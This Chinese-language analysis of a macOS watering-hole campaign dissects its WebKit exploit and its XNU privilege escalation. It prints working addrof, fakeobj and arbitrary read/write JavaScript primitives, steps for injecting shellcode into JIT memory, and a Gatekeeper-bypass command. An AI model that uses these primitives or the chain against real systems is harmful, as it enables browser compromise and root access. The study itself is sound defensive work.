概述
去年11月Google TAG发布了一篇[1]针对MacOS的水坑攻击调查报告,在红队的攻击几乎都以windows下的压缩包投毒为主的当下 能有一起针对Mac如此精良的攻击值得好好复盘分析
分析顺序
1、样本结构概览
2、webkit exp分析改造
3、shellcode分析
4、LPE 分析复现
5、端上行为表现
样本结构概览
整个样本的结构非常清晰,与P0大神Samuel Groß在JITSploitation[3]系列文章中公布的POC 十分接近
webkit exp分析改造
原EXP中因为一些定制化的操作如macho2shellcode,将2个入参的调用改造成5个, 二阶shellcode AES-128-EBC、TEA加密,中间样本缺失等原因想直接改造成可运行的poc有一些难度,因此考虑熟悉整体webkit攻击流程后 小幅度重写
webkit漏洞利用背景知识简述
首先webkit中两个非常重要的类型,JSValue和JSObject
JSValue中存在一个编码表
true : 0x07
false : 0x06
undefined : 0x0a
null : 0x02
pointer : 0000
double : 0001 - fffe
integer : ffff
JSObject
header : 32bits
structid : 32bits
butterfly : 64bits
inline properties : n * 64bits
JSObject 主要两部分组成,JSCell 和 Butterfly
JSCell 包含 header(type/flag等)的基础字段和 StructID 的随机字段用于安全防护
后面是一个Butterfly的字段,指向了具体存储的内容
JIT执行
LLInt(解释器) -> [语句超过100次/函数超过6次]baseline -> [1000/66] DFG -> FTL
到DFG层如果认为字段类型不会改变就会删除对类型的检查以提升效率,因此可能存在类型混淆
攻击样本中的相关内容
比如将一个Object的类型放入Double
这时javascript引擎认为我们构造的Object对象是Double,Double类型会直接返回Butterfly指向的内存内容,而Object的Butterfly指向的内容是一个指针
这时就把一个指针当成Double返回了
用python可以把这个double转换成hex,或者hex转double
>>> import struct
>>> struct.pack("Q",4623716258932001341).encode('hex')
'3d0ad7a370bd2a40'
>>> struct.unpack("d","\x3d\x0a\xd7\xa3\x70\xbd\x2a\x40")
(13.37,)
这时就实现了一个原始的addof原语
攻击样本中实现的addrof
另一个漏洞利用原语:fakeobj,基本是addrof的相反操作
把Double写入Object,这时javascript引擎认为我们构造的对象地址是Double(指针),因为Object可以任意构造,相当于实现了任意地址写入
攻击样本中实现的fakeobj
在实际的构造中,因为JSObject的JSCell也需要构造,因此把地址+0x10指向Butterfly,把JSCell也当成数据写入
这时有个问题是随机的StructID我们没办法预测,解决方案是使用StructureID喷射技术来预测StructureID,随机写一个StructID,然后不断在Object中添加内容就会撞到那个值
攻击样本中的实现
构造假JSCell
攻击样本中的实现
javascript引擎中存在box跟unbox的机制
比如
同样的内容在数组中被添加了Object对象之后就变了,增大了0x1000000000000
这个机制背后隐藏了一个更稳定易用的类型混淆,header中有bit位控制数组类型是ArrayWithDoubles还是ArrayWithContiguous,这也是一种Double跟Object的类型混淆
var outer = {
cell_header: flags_arr_contiguous,
butterfly: victim
};
f64[0] = addrof(outer)
u32[0] += 0x10 // 小技巧,实现了Add(addr,0x10);
var hax = fakeobj(f64[0]);
现在用fakeobj构造了一个完全受控的对象hax,他的butterfly指向了victim的对象地址
hax[0] => victim 的 metadata
hax[1] => victim 的 butterfly
这时候就可以随意修改victim的类型到底是ArrayWithDoubles还是ArrayWithContiguous
构造一个unbox
var unboxed = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37]
再构造一个boxed
var boxed = [{}];
hax[1] = unboxed //butterfly设置为unbox
var tmp_butterfly = victim[1]; //拿到butterfly
hax[1] = boxed //重置类型为boxed
victim[1] = tmp_butterfly; //替换butterfly
现在box和unbox指向同一个butterfly
现在就有了一个新的 更稳定易用的类型混淆
在unbox设置为指针,从box读出来就是obj
unboxed[0] = 1.23e-45
var obj = boxed[0];
反过来也一样
boxed[0] = some_object
unboxed[0]
现在可以着手构造Read / Write 函数了
根据上面的构造
hax[0] => jscell_header
hax[1] => victim
butterfly之所以叫蝴蝶,是因为他指向的是一个结构的中间的位置
Property.y |Property.x | Length | Element 0 | Element 1 | Element 2
| --> Butterfly Pointer
所以x 存储在butterfly - 0x10
因此
read64 = function(where){
hax[1] = Add(where,0x10);
return victim.a;
}
反过来也一样
write64 = function (where, what) {
hax[1] = Add(where,0x10);
victim.a = what;
}
完整的任意地址读写的函数已经构造完毕了
攻击样本中的相关实现
最后是从任意地址读写到任意代码执行
下图是Samuel Groß POC中的实现
在mac上的实现相对简单,因为JIT区域有rwx权限,将shellcode写入调用就可以执行了
在ios上就相对困难,存在PAC、Gigacage之类的机制
攻击样本中的实现
经过上面的分析,POC的整体流程已经大概清晰了,理论上保留addrof / fakeobj 两个原语,利用部分替换成代码更规整的其他POC即可,但实际上遇到了各种问题比如不同版本的系统JIT等地址偏移不同等
经过了几轮测试,最后保留原POC的内容到memcpy为止,其他部分参考CVE-2020-9802的POC构造JIT function,嫁接成功
1、构造一个会被JIT优化的函数
2、利用addrof读取函数地址
3、通过函数地址的偏移找到executableBaseAddr
4、从executableBaseAddr的偏移找到jitCodeAddr
5、通过jitCodeAddr的地址得到rwx的内存
6、构造Uint8Array,将shellcode写到内存
7、覆盖rwx的地址为shellcode
8、运行新的JIT函数
剩下的是一些小的tips
msf生成的shellcode转换成Uint32Array
var hex = '6a005f68001000005e6...'
var typedArray = new Uint8Array(hex.match(/[\da-f]{2}/gi).map(function (h) {
return parseInt(h, 16)
}))
var buffer = typedArray.buffer
var n = new Uint32Array(buffer)
构造成功截图
shellcode分析
因为样本用了一种类似于macho2shellcode的技术,dump出来之后可以被识别为macho文件
使用nodejs把Uint32Array的shellcode写回raw
let shellcode8 = new Uint8Array(load_macho_mac.buffer);
const load_macho_mac = new Uint32Array(shellcode8.buffer);
let hex = Buffer.from(shellcode8);
var fs = require('fs');
fs.writeFile('./sc_raw',hex,{'flag':'a'},function(err){;});
整个样本中用了大量xor的字符串混淆,完全不可读,而且dump出来的内容是无法正常执行的(替换了dlsym也不行),因此是无法动态调试的
Google的分析文档中有提到用了个简单的python脚本进行反混淆,但是并没有公开内容
想了下应该只能使用idapython或者仿真执行
只以图中这段混淆内容为例
1)idapython
addr = 0x100005030
by = []
while True:
x += 1
if idc.print_insn_mnem(addr) == 'mov' and idc.print_operand(addr,1).startswith('cs:byte_'):
a0 = idc.get_operand_value(addr,1)
a1 = ida_bytes.get_byte(a0)
if idc.print_insn_mnem(addr) == 'xor':
a2 = idc.get_operand_value(addr,1)
idc.set_cmt(addr, str(hex(a1 ^ a2)), 0)
by.append(a1 ^ a2)
addr = ida_bytes.next_addr(addr)
if addr >= 0x10000537E:
break
2)flare_emu
但是其他的位置的解码操作海油取反之类的动作,且会从特定位置开始读取字符串,使用idapython太复杂了
flare_emu的仿真执行应该是一个更好的方式
import flare_emu
import hexdump
eh = flare_emu.EmuHelper()
eh.emulateRange(0x100005030, endAddr=0x10000537E, skipCalls=False)
b = eh.getEmuBytes(0x1000143A0, 0x3b)
print(b)
将相关的内容解码之后整个代码的逻辑就非常清晰了
之前用来增加难度的混淆逻辑,现在反倒成了执行的内容索引
基本的执行流程:
调用dlsym查找各种需要的函数地址 -> 发送网络请求下载下一阶段的载荷 -> AES + TEA 解码 -> 写文件落盘 -> 调用adjust_port_type -> 修改audit_token -> 构造xpc调用 ->
执行xattr -d com.apple.quarantine 绕过Gatekeeper -> kuncd加载执行最后payload
LPE分析复现
参考zer0con21[5] 、mosec21[6] 与样本中的伪代码 基本捋顺了LPE的逻辑
漏洞原理简述:
在发送特殊的mach消息的时候,混淆了ipc_port和 ipc_importance_task_t 的类型
在ipc_importance_task_release的时候,会导致io_bits减小1
因此可以把用户态可通信的IKOT_NAMED_ENTRY改成内核的IKOT_HOST_SECURITY以伪造自己的sec_toekn和audit_token
这个过程有点类似linux的cred结构体
或者从IKOT_HOST_SECURITY修改成IKOT_HOST_PRIV来给kuncd发送消息
作者原文中提到了7种利用方式,攻击代码中实现了其中的2种,以IKOT_HOST_SECURITY为例尝试复现
adjust_port_type的部分结合作者文档中的截图与xnu开源代码中的prioritize_process_launch_helper.c -> send 函数可以复现
核心点在于构造launchd的token
audit_token 定义
audit_token.val[0] = my_cred->cr_audit.as_aia_p->ai_auid;
audit_token.val[1] = my_pcred->cr_uid;
audit_token.val[2] = my_pcred->cr_gid;
audit_token.val[3] = my_pcred->cr_ruid;
audit_token.val[4] = my_pcred->cr_rgid;
audit_token.val[5] = p->p_pid;
audit_token.val[6] = my_cred->cr_audit.as_aia_p->ai_asid;
audit_token.val[7] = p->p_idversion;
调用task_info检查是否利用成功
task_info(mach_task_self(),TASK_AUDIT_TOEKN,(task_info_t)&token,&size)
printf("%d\n",token.val[0]);
与launchd通信的xpc消息构造
IDA 还原的代码有明显错误,根据上下文怀疑最后的v8应该是_launch_msg2
lldb attach到safari的WebContent进程测试下
v8函数的参数与_launch_msg2的动态参数一致
端上表现行为
总结
此次攻击利用的代码中使用了大量未公开的技巧、函数,webkit 0day,LPE 1day等,作为防守方整个流程跟下来收益匪浅
参考文档:
[1] https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/
[2] https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/
[3] https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html
[4] https://liveoverflow.com/getting-into-browser-exploitation-new-series-introduction-browser-0x00/
[5] https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf
[6] https://github.com/wangtielei/Slides/blob/main/mosec21.pdf